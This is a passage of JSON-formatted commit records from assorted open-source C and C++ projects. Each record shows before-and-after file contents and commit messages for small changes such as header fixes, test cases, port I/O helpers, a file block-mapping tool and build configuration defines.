QtPromisePrivate::PromiseDeduce<T>::Type qPromise(T&& value)\n{\n    using namespace QtPromisePrivate;\n    using Promise = typename PromiseDeduce<T>::Type;\n    return Promise([&](\n        const QPromiseResolve<typename Promise::Type>& resolve,\n        const QPromiseReject<typename Promise::Type>& reject) {\n        PromiseFulfill<T>::call(std::forward<T>(value), resolve, reject);\n    });\n}\n\nstatic inline QPromise<void> qPromise()\n{\n    return QPromise<void>([](\n        const QPromiseResolve<void>& resolve) {\n        resolve();\n    });\n}\n\ntemplate <typename T>\nstatic inline QPromise<QVector<T> > qPromiseAll(const QVector<QPromise<T> >& promises)\n{\n    return QPromise<T>::all(promises);\n}\n\nstatic inline QPromise<void> qPromiseAll(const QVector<QPromise<void> >& promises)\n{\n    return QPromise<void>::all(promises);\n}\n\n} \/\/ namespace QtPromise\n\n#endif \/\/ QTPROMISE_QPROMISEHELPERS_H\n","subject":"Fix helpers multiple defined symbols","message":"Fix helpers multiple defined symbols\n","lang":"C","license":"mit","repos":"simonbrunel\/qtpromise"}
{"commit":"9e1fcb22a6d863b7f804b778d9ae85fbdf616f1b","old_file":"test\/small1\/const-struct-init.c","new_file":"test\/small1\/const-struct-init.c","old_contents":"","new_contents":"struct inner {\n  int field;\n};\n\n\nstruct outer {\n  const struct inner inner;\n};\n\n\nint main()\n{\n  struct outer outer = { { 0 } };\n  return outer.inner.field;\n}\n","subject":"Add a test case showing that CIL forgets to remove the \"const\" qualifier on structures within structures. When it subsequently converts initializations of such structures into assignments, the resulting C code appears to be assigning into a const field. That produces warnings or errors from the C compiler.","message":"Add a test case showing that CIL forgets to remove the \"const\"\nqualifier on structures within structures.  When it subsequently\nconverts initializations of such structures into assignments, the\nresulting C code appears to be assigning into a const field.  That\nproduces warnings or errors from the C compiler.\n","lang":"C","license":"bsd-3-clause","repos":"samuelhavron\/obliv-c,samuelhavron\/obliv-c,samuelhavron\/obliv-c,samuelhavron\/obliv-c"}
{"commit":"342b576de5cc3fd0aad536171d68b414ffc0fc3d","old_file":"libc\/sys_io.c","new_file":"libc\/sys_io.c","old_contents":"#include <stdint.h>\n\nvoid outb(uint16_t port, uint8_t value) {\n  asm volatile (\"outb %1, %0\" : : \"dN\" (port), \"a\" (value));\n}\n\nunsigned char inb(uint16_t port) {\n  unsigned char ret;\n  asm volatile (\"inb %1, %0\" : \"=a\" (ret) : \"dN\" (port));\n  return ret;\n}\n","new_contents":"#include <stdint.h>\n\nvoid outb(uint16_t port, uint8_t value) {\n  asm volatile (\"outb %1, %0\" : : \"dN\" (port), \"a\" (value));\n}\n\nunsigned char inb(uint16_t port) {\n  unsigned char ret;\n  asm volatile (\"inb %1, %0\" : \"=a\" (ret) : \"dN\" (port));\n  return ret;\n}\n\nvoid outl(uint16_t port, uint32_t value) {\n  asm volatile (\"outl %1, %0\" : : \"dN\" (port), \"a\" (value));\n}\n\nuint32_t inl(uint16_t port) {\n  uint32_t ret;\n  asm volatile (\"inl %1, %0\" : \"=a\" (ret) : \"dN\" (port));\n  return ret;\n}\n","subject":"Add inl and outl functions","message":"Add inl and outl functions\n","lang":"C","license":"mit","repos":"simon-andrews\/norby,simon-andrews\/norby,simon-andrews\/norby"}
{"commit":"2f36de17a4ea00909f84819882cd5f5237ddab59","old_file":"src\/writer\/verilog\/axi\/master_controller.h","new_file":"src\/writer\/verilog\/axi\/master_controller.h","old_contents":"\/\/ -*- C++ -*-\n#ifndef _writer_verilog_axi_master_controller_h_\n#define _writer_verilog_axi_master_controller_h_\n\n#include \"writer\/verilog\/axi\/axi_controller.h\"\n\nnamespace iroha {\nnamespace writer {\nnamespace verilog {\nnamespace axi {\n\nclass MasterController : public AxiController {\npublic:\n  MasterController(const IResource &res,\n\t\t   bool reset_polarity);\n  ~MasterController();\n\n  void Write(ostream &os);\n\n  static void AddPorts(Module *mod, bool r, bool w,\n\t\t       string *s);\n\nprivate:\n  void OutputFsm(ostream &os);\n  void ReaderFsm(ostream &os);\n  void WriterFsm(ostream &os);\n\n  unique_ptr<Ports> ports_;\n  bool r_, w_;\n  int burst_len_;\n};\n\n}  \/\/ namespace axi\n}  \/\/ namespace verilog\n}  \/\/ namespace writer\n}  \/\/ namespace iroha\n\n#endif \/\/ _writer_verilog_axi_master_controller_h_\n","new_contents":"\/\/ -*- C++ -*-\n#ifndef _writer_verilog_axi_master_controller_h_\n#define _writer_verilog_axi_master_controller_h_\n\n#include \"writer\/verilog\/axi\/axi_controller.h\"\n\nnamespace iroha {\nnamespace writer {\nnamespace verilog {\nnamespace axi {\n\nclass MasterController : public AxiController {\npublic:\n  MasterController(const IResource &res,\n\t\t   bool reset_polarity);\n  ~MasterController();\n\n  void Write(ostream &os);\n\n  static void AddPorts(Module *mod, bool r, bool w,\n\t\t       string *s);\n\nprivate:\n  void OutputFsm(ostream &os);\n  void ReaderFsm(ostream &os);\n  void WriterFsm(ostream &os);\n\n  bool r_, w_;\n  int burst_len_;\n};\n\n}  \/\/ namespace axi\n}  \/\/ namespace verilog\n}  \/\/ namespace writer\n}  \/\/ namespace iroha\n\n#endif \/\/ _writer_verilog_axi_master_controller_h_\n","subject":"Fix wrong member declaration which shadows parent class.","message":"Fix wrong member declaration which shadows parent class.\n","lang":"C","license":"bsd-3-clause","repos":"nlsynth\/iroha,nlsynth\/iroha"}
{"commit":"0286596dd6eee2b3573722716af45395314e4246","old_file":"lib\/arch\/x86_64\/defs.h","new_file":"lib\/arch\/x86_64\/defs.h","old_contents":"#define JOIN_(a, b) a ## b\n#define JOIN(a, b) JOIN_(a, b)\n\n#define SYMBL(x) JOIN(__USER_LABEL_PREFIX__, x)\n\n#if defined(__linux__)\n#  define SECTION_NAME_TEXT .text\n#  define SECTION_NAME_BSS .bss\n#elif defined(__DARWIN__)\n#  define SECTION_NAME_TEXT __TEXT,__text\n#  define SECTION_NAME_BSS __BSS,__bss\n#else\n#  error unknown target\n#endif\n","new_contents":"#define JOIN_(a, b) a ## b\n#define JOIN(a, b) JOIN_(a, b)\n\n#define SYMBL(x) JOIN(__USER_LABEL_PREFIX__, x)\n\n#if defined(__linux__)\n#  define SECTION_NAME_TEXT .text\n#  define SECTION_NAME_BSS .bss\n\n.section .note.GNU-stack,\"\",@progbits\n\n#elif defined(__DARWIN__)\n#  define SECTION_NAME_TEXT __TEXT,__text\n#  define SECTION_NAME_BSS __BSS,__bss\n#else\n#  error unknown target\n#endif\n","subject":"Enable noexecstack for local-lib builds","message":"Enable noexecstack for local-lib builds\n","lang":"C","license":"mit","repos":"bobrippling\/ucc-c-compiler,bobrippling\/ucc-c-compiler,bobrippling\/ucc-c-compiler"}
{"commit":"f3520bda1e026f251e4772983bd307b2e72a5eb2","old_file":"fibmap\/fibmap.c","new_file":"fibmap\/fibmap.c","old_contents":"","new_contents":"\/*\n * fibmap - List blocks of a file\n *\n * Written in 2012 by Prashant P Shah <pshah.mumbai@gmail.com>\n *\n * To the extent possible under law, the author(s) have dedicated\n * all copyright and related and neighboring rights to this software\n * to the public domain worldwide. This software is distributed\n * without any warranty.\n *\n * You should have received a copy of the CC0 Public Domain Dedication\n * along with this software.\n * If not, see <http:\/\/creativecommons.org\/publicdomain\/zero\/1.0\/>.\n *\/\n\n#include <stdio.h>\n#include <stdlib.h>\n#include <sys\/types.h>\n#include <sys\/stat.h>\n#include <unistd.h>\n#include <fcntl.h>\n#include <linux\/fs.h>\n#include <assert.h>\n\nint main(int argc, char **argv)\n{\n\tint fd, i, block, blocksize, blkcnt;\n\tstruct stat st;\n\n\tassert(argv[1] != NULL);\n\n\tfd = open(argv[1], O_RDONLY);\n\tif (fd <= 0) {\n\t\tperror(\"error opening file\");\n\t\tgoto end;\n\t}\n\n\tif (ioctl(fd, FIGETBSZ, &blocksize)) {\n\t\tperror(\"FIBMAP ioctl failed\");\n\t\tgoto end;\n\t}\n\n\tif (fstat(fd, &st)) {\n\t\tperror(\"fstat error\");\n\t\tgoto end;\n\t}\n\n\tblkcnt = (st.st_size + blocksize - 1) \/ blocksize;\n\tprintf(\"File %s size %d blocks %d blocksize %d\\n\",\n\t\t\targv[1], (int)st.st_size, blkcnt, blocksize);\n\n\tfor (i = 0; i < blkcnt; i++) {\n\t\tblock = i;\n\t\tif (ioctl(fd, FIBMAP, &block)) {\n\t\t\tperror(\"FIBMAP ioctl failed\");\n\t\t}\n\t\tprintf(\"%3d %10d\\n\", i, block);\n\t}\n\nend:\n\tclose(fd);\n\treturn 0;\n}\n\n","subject":"Add program to list blocks of a file","message":"Add program to list blocks of a file\n\nSigned-off-by: Prashant Shah <80f978b5ac27fb318171799f0fb6a277863f2bf5@gmail.com>\n","lang":"C","license":"cc0-1.0","repos":"prashants\/c"}
{"commit":"3b09a6a7faae7363ffc90749e041788a17559f0f","old_file":"src\/test\/tester.c","new_file":"src\/test\/tester.c","old_contents":"#include <stdio.h>\n#include <string.h>\n\n#include <efivar.h>\n\n#define TEST_GUID EFI_GUID(0x84be9c3e,0x8a32,0x42c0,0x891c,0x4c,0xd3,0xb0,0x72,0xbe,0xcc)\n\nstatic void\nclean_test_environment(void)\n{\n\tefi_del_variable(TEST_GUID, \"small\");\n\tefi_del_variable(TEST_GUID, \"large\");\n}\n\n#define report_error(str) ({fprintf(stderr, str); goto fail;})\n\nint main(void)\n{\n\tif (!efi_variables_supported()) {\n\t\tprintf(\"UEFI variables not supported on this machine.\\n\");\n\t\treturn 0;\n\t}\n\n\tclean_test_environment();\n\n\tint ret = 1;\n\n\tchar smallvalue[] = \"smallvalue\";\n\n\tint rc;\n\trc = efi_set_variable(TEST_GUID, \"small\",\n\t\t\t      smallvalue, strlen(smallvalue)+1,\n\t\t\t      EFI_VARIABLE_RUNTIME_ACCESS);\n\tif (rc < 0)\n\t\treport_error(\"small value test failed: %m\\n\");\n\n\tret = 0;\nfail:\n\treturn ret;\n}\n","new_contents":"#include <stdio.h>\n#include <string.h>\n\n#include <efivar.h>\n\n#define TEST_GUID EFI_GUID(0x84be9c3e,0x8a32,0x42c0,0x891c,0x4c,0xd3,0xb0,0x72,0xbe,0xcc)\n\nstatic void\nclean_test_environment(void)\n{\n\tefi_del_variable(TEST_GUID, \"small\");\n\tefi_del_variable(TEST_GUID, \"large\");\n}\n\n#define report_error(str) ({fprintf(stderr, str); goto fail;})\n\nint main(void)\n{\n\tif (!efi_variables_supported()) {\n\t\tprintf(\"UEFI variables not supported on this machine.\\n\");\n\t\treturn 0;\n\t}\n\n\tclean_test_environment();\n\n\tint ret = 1;\n\n\tchar smallvalue[] = \"smallvalue\";\n\n\tint rc;\n\trc = efi_set_variable(TEST_GUID, \"small\",\n\t\t\t      smallvalue, strlen(smallvalue)+1,\n\t\t\t      EFI_VARIABLE_BOOTSERVICE_ACCESS |\n\t\t\t      EFI_VARIABLE_RUNTIME_ACCESS | \n\t\t\t      EFI_VARIABLE_NON_VOLATILE);\n\tif (rc < 0)\n\t\treport_error(\"small value test failed: %m\\n\");\n\n\tret = 0;\nfail:\n\treturn ret;\n}\n","subject":"Use flags that will actually work when testing.","message":"Use flags that will actually work when testing.\n","lang":"C","license":"lgpl-2.1","repos":"rhboot\/efivar,rhinstaller\/efivar,android-ia\/vendor_intel_external_efivar,rhinstaller\/efivar,rhboot\/efivar,CyanogenMod\/android_vendor_intel_external_efivar,vathpela\/efivar-devel"}
{"commit":"f15b376345a4480513880390a3e05ed77fd66ef8","old_file":"test\/tools\/llvm-symbolizer\/print_context.c","new_file":"test\/tools\/llvm-symbolizer\/print_context.c","old_contents":"\/\/ REQUIRES: x86_64-linux\n\/\/ RUN: %host_cc -O0 -g %s -o %t 2>&1\n\/\/ RUN: %t 2>&1 | llvm-symbolizer -print-source-context-lines=5 -obj=%t | FileCheck %s\n\n#include <stdio.h>\n\nint inc(int a) {\n  return a + 1;\n}\n\nint main() {\n  printf(\"%p\\n\", inc);\n  return 0;\n}\n\n\/\/ CHECK: inc\n\/\/ CHECK: print_context.c:7\n\/\/ CHECK: 5  : #include\n\/\/ CHECK: 6  :\n\/\/ CHECK: 7 >: int inc\n\/\/ CHECK: 8  :   return\n\/\/ CHECK: 9  : }\n","new_contents":"\/\/ REQUIRES: x86_64-linux\n\/\/ RUN: %host_cc -O0 -g %s -o %t 2>&1\n\/\/ RUN: %t 2>&1 | llvm-symbolizer -print-source-context-lines=5 -obj=%t | FileCheck %s\n\n\/\/ CHECK: inc\n\/\/ CHECK: print_context.c:[[@LINE+9]]\n\/\/ CHECK: [[@LINE+6]]  : #include\n\/\/ CHECK: [[@LINE+6]]  :\n\/\/ CHECK: [[@LINE+6]] >: int inc\n\/\/ CHECK: [[@LINE+6]]  :   return\n\/\/ CHECK: [[@LINE+6]]  : }\n\n#include <stdio.h>\n\nint inc(int a) {\n  return a + 1;\n}\n\nint main() {\n  printf(\"%p\\n\", inc);\n  return 0;\n}\n\n","subject":"Make test robust to changes in prefix\/avoid hardcoded line numbers","message":"Make test robust to changes in prefix\/avoid hardcoded line numbers\n\ngit-svn-id: 0ff597fd157e6f4fc38580e8d64ab130330d2411@309516 91177308-0d34-0410-b5e6-96231b3b80d8\n(cherry picked from commit 429be9362d598d3b7b3ea6e19b1be2dca867aa0a)\n","lang":"C","license":"apache-2.0","repos":"apple\/swift-llvm,apple\/swift-llvm,apple\/swift-llvm,apple\/swift-llvm,apple\/swift-llvm,apple\/swift-llvm,apple\/swift-llvm,apple\/swift-llvm"}
{"commit":"036120761c2a02ef426b7d9b81675f642ffc12bf","old_file":"include\/config\/SkUserConfigManual.h","new_file":"include\/config\/SkUserConfigManual.h","old_contents":"","new_contents":"\/*\n * Copyright 2017 Google Inc.\n *\n * Use of this source code is governed by a BSD-style license that can be\n * found in the LICENSE file.\n *\/\n\n#ifndef SkUserConfigManual_DEFINED\n#define SkUserConfigManual_DEFINED\n  #define GR_GL_CUSTOM_SETUP_HEADER \"gl\/GrGLConfig_chrome.h\"\n  #define GR_TEST_UTILS 1\n  #define SKIA_DLL\n  #define SK_BUILD_FOR_ANDROID_FRAMEWORK\n  #define SK_DEFAULT_FONT_CACHE_LIMIT   (768 * 1024)\n  #define SK_DEFAULT_GLOBAL_DISCARDABLE_MEMORY_POOL_SIZE (512 * 1024)\n  #define SK_USE_FREETYPE_EMBOLDEN\n\n  \/\/ Legacy flags\n  #define SK_IGNORE_GPU_DITHER\n  #define SK_IGNORE_LINEONLY_AA_CONVEX_PATH_OPTS\n  #define SK_LEGACY_SWEEP_GRADIENT\n  #define SK_SUPPORT_DEPRECATED_CLIPOPS\n  #define SK_SUPPORT_LEGACY_BILERP_IGNORING_HACK\n  \/\/ Needed until we fix https:\/\/bug.skia.org\/2440\n  #define SK_SUPPORT_LEGACY_CLIPTOLAYERFLAG\n  #define SK_SUPPORT_LEGACY_DRAWFILTER\n  #define SK_SUPPORT_LEGACY_EMBOSSMASKFILTER\n  #define SK_SUPPORT_LEGACY_GRADIENT_DITHERING\n  #define SK_SUPPORT_LEGACY_SHADER_ISABITMAP\n  #define SK_SUPPORT_LEGACY_TILED_BITMAPS\n#endif \/\/ SkUserConfigManual_DEFINED\n\n","subject":"Add file to replace android_framework_defines.gni","message":"Add file to replace android_framework_defines.gni\n\nSkUserConfig.h will continue to be generated by gn_to_bp.py, and it\nwill include all the #defines that were pulled from our GN files. But it\nwill also include this new file, SkUserConfigManual.h, which contains\nall the #defines that were previously stored in gn_to_bp.py and\nandroid_framework_defines.gni. This allows us\n\nDoes not actually change anything until\nhttps:\/\/skia-review.googlesource.com\/c\/22072\/ lands. (It still should\nnot change the build in practice, since this file contains the defines\nthat are no longer added to SkUserConfig.h.)\n\nTest: No test necessary.\nBug: 63429612\nChange-Id: I9f6e85ad6d714c3763136303faf7564c3a9cc933\n","lang":"C","license":"bsd-3-clause","repos":"aosp-mirror\/platform_external_skia,aosp-mirror\/platform_external_skia,aosp-mirror\/platform_external_skia,Hikari-no-Tenshi\/android_external_skia,aosp-mirror\/platform_external_skia,aosp-mirror\/platform_external_skia,aosp-mirror\/platform_external_skia,aosp-mirror\/platform_external_skia,Hikari-no-Tenshi\/android_external_skia,aosp-mirror\/platform_external_skia,Hikari-no-Tenshi\/android_external_skia,aosp-mirror\/platform_external_skia,Hikari-no-Tenshi\/android_external_skia,Hikari-no-Tenshi\/android_external_skia,Hikari-no-Tenshi\/android_external_skia,aosp-mirror\/platform_external_skia,Hikari-no-Tenshi\/android_external_skia,Hikari-no-Tenshi\/android_external_skia"}
{"commit":"e4d4544dd5ebc59f9527f00cdd2494075b77b52e","old_file":"include\/graph.h","new_file":"include\/graph.h","old_contents":"#ifndef GRAPH_H\n#define GRAPH_H\n\n#include <unordered_map>\n#include <unordered_set>\n\ntemplate<typename T>\nclass Graph {\n\npublic:\n    void connect(const T &a, const T &b);\n    const std::unordered_set<T>& get_vertex_ids() const;\n\n    inline const std::unordered_set<T>& get_neighbors(const T &vertex_id) const {\n        return vertices_.at(vertex_id)->adjacent_ids_;\n    }\n\n    ~Graph();\n\nprivate:\n    struct Vertex {\n        T id_;\n        std::unordered_set<Vertex*> adjacent_;\n        std::unordered_set<T> adjacent_ids_;\n        Vertex(T id) {\n           id_ = id;\n        }\n\n        bool has_neighbor(Vertex *v) {\n            return adjacent_.find(v) != adjacent_.end();\n        }\n\n        void add_neighbor(Vertex* v) {\n            adjacent_.insert(v);\n            adjacent_ids_.insert(v->id_);\n        }\n    };\n\n    std::unordered_map<T, Vertex*> vertices_;\n    std::unordered_set<T> vertex_ids;\n\n    Vertex* get_vertex(const T &a) const;\n    Vertex* get_or_insert(const T &a);\n};\n\ntemplate class Graph<int>;\n\n#endif\n","new_contents":"#ifndef GRAPH_H\n#define GRAPH_H\n\n#include <unordered_map>\n#include <unordered_set>\n\ntemplate<typename T>\nclass Graph {\n\npublic:\n    void connect(const T &a, const T &b);\n    const std::unordered_set<T>& get_vertex_ids() const;\n\n    inline const std::unordered_set<T>& get_neighbors(const T &vertex_id) const {\n        return vertices_.at(vertex_id)->adjacent_ids_;\n    }\n\n    ~Graph();\n\nprivate:\n    struct Vertex {\n        T id_;\n        std::unordered_set<Vertex*> adjacent_;\n        std::unordered_set<T> adjacent_ids_;\n        Vertex(const T &id) : id_(id) {}\n\n        bool has_neighbor(Vertex *v) {\n            return adjacent_.find(v) != adjacent_.end();\n        }\n\n        void add_neighbor(Vertex* v) {\n            adjacent_.insert(v);\n            adjacent_ids_.insert(v->id_);\n        }\n    };\n\n    std::unordered_map<T, Vertex*> vertices_;\n    std::unordered_set<T> vertex_ids;\n\n    Vertex* get_vertex(const T &a) const;\n    Vertex* get_or_insert(const T &a);\n};\n\ntemplate class Graph<int>;\n\n#endif\n","subject":"Move id initialization to initialization list","message":"Move id initialization to initialization list\n","lang":"C","license":"mit","repos":"chivay\/betweenness-centrality"}
{"commit":"7e265dc4cbda1754a27ac2db68c955333840ee74","old_file":"src\/include\/common\/hash_util.h","new_file":"src\/include\/common\/hash_util.h","old_contents":"","new_contents":"\/\/\n\/\/ Created by patrick on 31\/03\/17.\n\/\/\n\n#ifndef PELOTON_HASH_UTIL_H\n#define PELOTON_HASH_UTIL_H\n\n#endif \/\/PELOTON_HASH_UTIL_H\n","subject":"Add hashing for AbstractExpression, TupleValueExpression, ConstValueExpression","message":"Add hashing for AbstractExpression, TupleValueExpression, ConstValueExpression\n","lang":"C","license":"apache-2.0","repos":"phisiart\/peloton-p3,apavlo\/peloton,PauloAmora\/peloton,yingjunwu\/peloton,apavlo\/peloton,vittvolt\/peloton,ShuxinLin\/peloton,cmu-db\/peloton,malin1993ml\/peloton,AngLi-Leon\/peloton,haojin2\/peloton,seojungmin\/peloton,vittvolt\/15721-peloton,malin1993ml\/peloton,seojungmin\/peloton,vittvolt\/15721-peloton,cmu-db\/peloton,AllisonWang\/peloton,prashasthip\/peloton,ShuxinLin\/peloton,seojungmin\/peloton,AllisonWang\/peloton,haojin2\/peloton,phisiart\/peloton-p3,PauloAmora\/peloton,cmu-db\/peloton,AngLi-Leon\/peloton,PauloAmora\/peloton,phisiart\/peloton-p3,AllisonWang\/peloton,yingjunwu\/peloton,ShuxinLin\/peloton,malin1993ml\/peloton,AngLi-Leon\/peloton,prashasthip\/peloton,vittvolt\/peloton,apavlo\/peloton,apavlo\/peloton,vittvolt\/15721-peloton,vittvolt\/15721-peloton,yingjunwu\/peloton,seojungmin\/peloton,cmu-db\/peloton,AngLi-Leon\/peloton,vittvolt\/15721-peloton,phisiart\/peloton-p3,haojin2\/peloton,vittvolt\/15721-peloton,PauloAmora\/peloton,cmu-db\/peloton,haojin2\/peloton,yingjunwu\/peloton,vittvolt\/peloton,AngLi-Leon\/peloton,haojin2\/peloton,phisiart\/peloton-p3,seojungmin\/peloton,AllisonWang\/peloton,ShuxinLin\/peloton,apavlo\/peloton,prashasthip\/peloton,haojin2\/peloton,yingjunwu\/peloton,yingjunwu\/peloton,vittvolt\/peloton,apavlo\/peloton,prashasthip\/peloton,vittvolt\/peloton,malin1993ml\/peloton,cmu-db\/peloton,AllisonWang\/peloton,prashasthip\/peloton,AngLi-Leon\/peloton,ShuxinLin\/peloton,ShuxinLin\/peloton,vittvolt\/peloton,malin1993ml\/peloton,seojungmin\/peloton,phisiart\/peloton-p3,PauloAmora\/peloton,malin1993ml\/peloton,AllisonWang\/peloton,prashasthip\/peloton,PauloAmora\/peloton"}
{"commit":"4ccf7377fc44127b522b3b830b4ae371a35be2d4","old_file":"test\/Driver\/diagnostics.c","new_file":"test\/Driver\/diagnostics.c","old_contents":"\/\/ Parse diagnostic arguments in the driver\n\/\/ PR12181\n\n\/\/ RUN: not %clang -target x86_64-apple-darwin10 \\\n\/\/ RUN:   -fsyntax-only -fzyzzybalubah \\ \n\/\/ RUN:   -Werror=unused-command-line-argument %s \n\n\/\/ RUN: not %clang -target x86_64-apple-darwin10 \\\n\/\/ RUN:   -fsyntax-only -fzyzzybalubah -Werror %s \n","new_contents":"\/\/ Parse diagnostic arguments in the driver\n\/\/ PR12181\n\n\/\/ RUN: not %clang -target x86_64-apple-darwin10 \\\n\/\/ RUN:   -fsyntax-only -fzyzzybalubah \\\n\/\/ RUN:   -Werror=unused-command-line-argument %s\n\n\/\/ RUN: not %clang -target x86_64-apple-darwin10 \\\n\/\/ RUN:   -fsyntax-only -fzyzzybalubah -Werror %s\n","subject":"Remove trailing whitespace (especially after a \\ which should be trailing)","message":"Remove trailing whitespace (especially after a \\ which should be trailing)\n\ngit-svn-id: ffe668792ed300d6c2daa1f6eba2e0aa28d7ec6c@152695 91177308-0d34-0410-b5e6-96231b3b80d8\n","lang":"C","license":"apache-2.0","repos":"apple\/swift-clang,apple\/swift-clang,apple\/swift-clang,llvm-mirror\/clang,llvm-mirror\/clang,apple\/swift-clang,llvm-mirror\/clang,llvm-mirror\/clang,llvm-mirror\/clang,apple\/swift-clang,apple\/swift-clang,apple\/swift-clang,llvm-mirror\/clang,llvm-mirror\/clang,llvm-mirror\/clang,llvm-mirror\/clang,apple\/swift-clang,apple\/swift-clang,llvm-mirror\/clang,apple\/swift-clang"}
{"commit":"5c47be7f6118a3c89a326e687d113837998b130e","old_file":"src\/gcd.h","new_file":"src\/gcd.h","old_contents":"","new_contents":"#ifndef __gcd_h_included__\n#define __gcd_h_included__\n\n\/\/ Euclid's algorithm for computing the greatest common divisor\n\ntemplate<typename I> I gcd(I a, I b)\n{\n\twhile (a > 0 && b > 0) {\n\t\tif (a > b)\n\t\t\ta -= b;\n\t\telse\n\t\t\tb -= a;\n\t}\n\n\treturn a == 0 ? b : a;\n}\n\n#endif\n","subject":"Add algorithm for greatest common divisor","message":"Add algorithm for greatest common divisor\n","lang":"C","license":"mit","repos":"olafdietsche\/algorithms"}
{"commit":"e1f21893cedcb02fc76415e2bb95b3d0c06d1abf","old_file":"rbcoremidi.c","new_file":"rbcoremidi.c","old_contents":"\/*\n *  Copyright 2008 Markus Prinz\n *  Released unter an MIT licence\n *\n *\/\n\n#include <ruby.h>\n#include <CoreMIDI\/CoreMIDI.h>\n\n\nVALUE callback_proc = Qnil;\n\nMIDIPortRef inPort = NULL;\nMIDIClientRef client = NULL;\n\nstatic void RbMIDIReadProc(const MIDIPacketList* packetList, void* readProcRefCon, void* srcConnRefCon)\n{\n    \n}\n\nvoid Init_rbcoremidi (void)\n{\n  \/\/ Add the initialization code of your module here.\n}\n","new_contents":"\/*\n *  Copyright 2008 Markus Prinz\n *  Released unter an MIT licence\n *\n *\/\n\n#include <ruby.h>\n#include <CoreMIDI\/CoreMIDI.h>\n\n\nVALUE callback_proc = Qnil;\n\nMIDIPortRef inPort = NULL;\nMIDIClientRef client = NULL;\n\nstatic void RbMIDIReadProc(const MIDIPacketList* packetList, void* readProcRefCon, void* srcConnRefCon)\n{\n    \n}\n\nstatic VALUE t_sources(VALUE self)\n{    \n    int number_of_sources = MIDIGetNumberOfSources();\n    \n    VALUE source_ary = rb_ary_new2(number_of_sources);\n    \n    for(int idx = 0; idx < number_of_sources; ++idx)\n    {\n        MIDIEndpointRef src = MIDIGetSource(idx);\n        CFStringRef pname;\n        char name[64];\n        \n        MIDIObjectGetStringProperty(src, kMIDIPropertyName, pname);\n        CFStringGetCString(pname, name, sizeof(name), 0);\n        CFRelease(pname);\n        \n        rb_ary_push(source_ary, rb_str_new2(name));\n    }\n    \n    return source_ary;\n}\n\nvoid Init_rbcoremidi (void)\n{\n  \/\/ Add the initialization code of your module here.\n}\n","subject":"Add best guess at a method that returns an array with the names of all sources","message":"Add best guess at a method that returns an array with the names of all sources\n","lang":"C","license":"mit","repos":"cypher\/rbcoremidi,cypher\/rbcoremidi"}
{"commit":"989e9cacd53cf574b4445e0b1e2eed5dba5d7894","old_file":"exercise111.c","new_file":"exercise111.c","old_contents":"","new_contents":"\/* Exercise 1-11: How would you test the word count program? What kinds of\n * input are most likely to uncover bugs if there are any? *\/\n\n#include <stdio.h>\n#include <stdlib.h>\n\nint main(int argc, char **argv)\n{\n  \/* This is such a cheat. *\/\n  printf(\"Types of input that could be used to test a word counting program:\\n\");\n  printf(\" - Input with no characters,\\n\");\n  printf(\" - input with just one massive word that's MAX_INT letters long,\\n\");\n  printf(\" - input with more than MAX_INT words,\\n\");\n  printf(\" - input with varying whitespace to delimit words,\\n\");\n  printf(\" - binary input (such as an image file),\\n\");\n  printf(\" - and Unicode input.\\n\");\n  return EXIT_SUCCESS;\n}\n","subject":"Add incredibly lame solution to Exercise 1-11.","message":"Add incredibly lame solution to Exercise 1-11.\n","lang":"C","license":"unlicense","repos":"damiendart\/knr-solutions,damiendart\/knr-solutions,damiendart\/knr-solutions"}
{"commit":"efbdf8c9d08d6c63fbd86487aef3c95052770090","old_file":"src\/modules\/conf_randr\/e_smart_randr.h","new_file":"src\/modules\/conf_randr\/e_smart_randr.h","old_contents":"#ifdef E_TYPEDEFS\n#else\n# ifndef E_SMART_RANDR_H\n#  define E_SMART_RANDR_H\n\nEvas_Object *e_smart_randr_add(Evas *evas);\nvoid e_smart_randr_virtual_size_calc(Evas_Object *obj);\nvoid e_smart_randr_monitors_create(Evas_Object *obj);\n\n# endif\n#endif\n","new_contents":"#ifdef E_TYPEDEFS\n#else\n# ifndef E_SMART_RANDR_H\n#  define E_SMART_RANDR_H\n\nEvas_Object *e_smart_randr_add(Evas *evas);\nvoid e_smart_randr_virtual_size_calc(Evas_Object *obj);\nvoid e_smart_randr_monitors_create(Evas_Object *obj);\nvoid e_smart_randr_min_size_get(Evas_Object *obj, Evas_Coord *mw, Evas_Coord *mh);\n\n# endif\n#endif\n","subject":"Add function prototype for min_size_get.","message":"Add function prototype for min_size_get.\n\nSigned-off-by: Christopher Michael <cp.michael@samsung.com>\n\nSVN revision: 84149\n","lang":"C","license":"bsd-2-clause","repos":"tizenorg\/platform.upstream.enlightenment,FlorentRevest\/Enlightenment,tasn\/enlightenment,rvandegrift\/e,FlorentRevest\/Enlightenment,tizenorg\/platform.upstream.enlightenment,FlorentRevest\/Enlightenment,tasn\/enlightenment,tizenorg\/platform.upstream.enlightenment,rvandegrift\/e,tasn\/enlightenment,rvandegrift\/e"}
{"commit":"84e985bb87454fa85b0adb224f5d94905356a5a1","old_file":"BRStyle\/Code\/Core.h","new_file":"BRStyle\/Code\/Core.h","old_contents":"\/\/\n\/\/  Core.h\n\/\/  BRStyle\n\/\/\n\/\/  Created by Matt on 24\/07\/15.\n\/\/  Copyright (c) 2015 Blue Rocket. Distributable under the terms of the Apache License, Version 2.0.\n\/\/\n\n#import <BRStyle\/BRUIStyle.h>\n#import <BRStyle\/BRUIStyleObserver.h>\n#import <BRStyle\/BRUIStyleSettings.h>\n#import <BRStyle\/BRUIStylishHost.h>\n#import <BRStyle\/NSObject+BRUIStyle.h>\n#import <BRStyle\/UIBarButtonItem+BRUIStyle.h>\n#import <BRStyle\/UIFont+BRUIStyle.h>\n#import <BRStyle\/UIView+BRUIStyle.h>\n#import <BRStyle\/UIViewController+BRUIStyle.h>\n","new_contents":"\/\/\n\/\/  Core.h\n\/\/  BRStyle\n\/\/\n\/\/  Created by Matt on 24\/07\/15.\n\/\/  Copyright (c) 2015 Blue Rocket. Distributable under the terms of the Apache License, Version 2.0.\n\/\/\n\n#import <BRStyle\/BRUIStyle.h>\n#import <BRStyle\/BRUIStyleObserver.h>\n#import <BRStyle\/BRUIStyleSettings.h>\n#import <BRStyle\/BRUIStylishHost.h>\n#import <BRStyle\/NSObject+BRUIStyle.h>\n#import <BRStyle\/UIBarButtonItem+BRUIStyle.h>\n#import <BRStyle\/UIView+BRUIStyle.h>\n#import <BRStyle\/UIViewController+BRUIStyle.h>\n","subject":"Remove import that no longer exists.","message":"Remove import that no longer 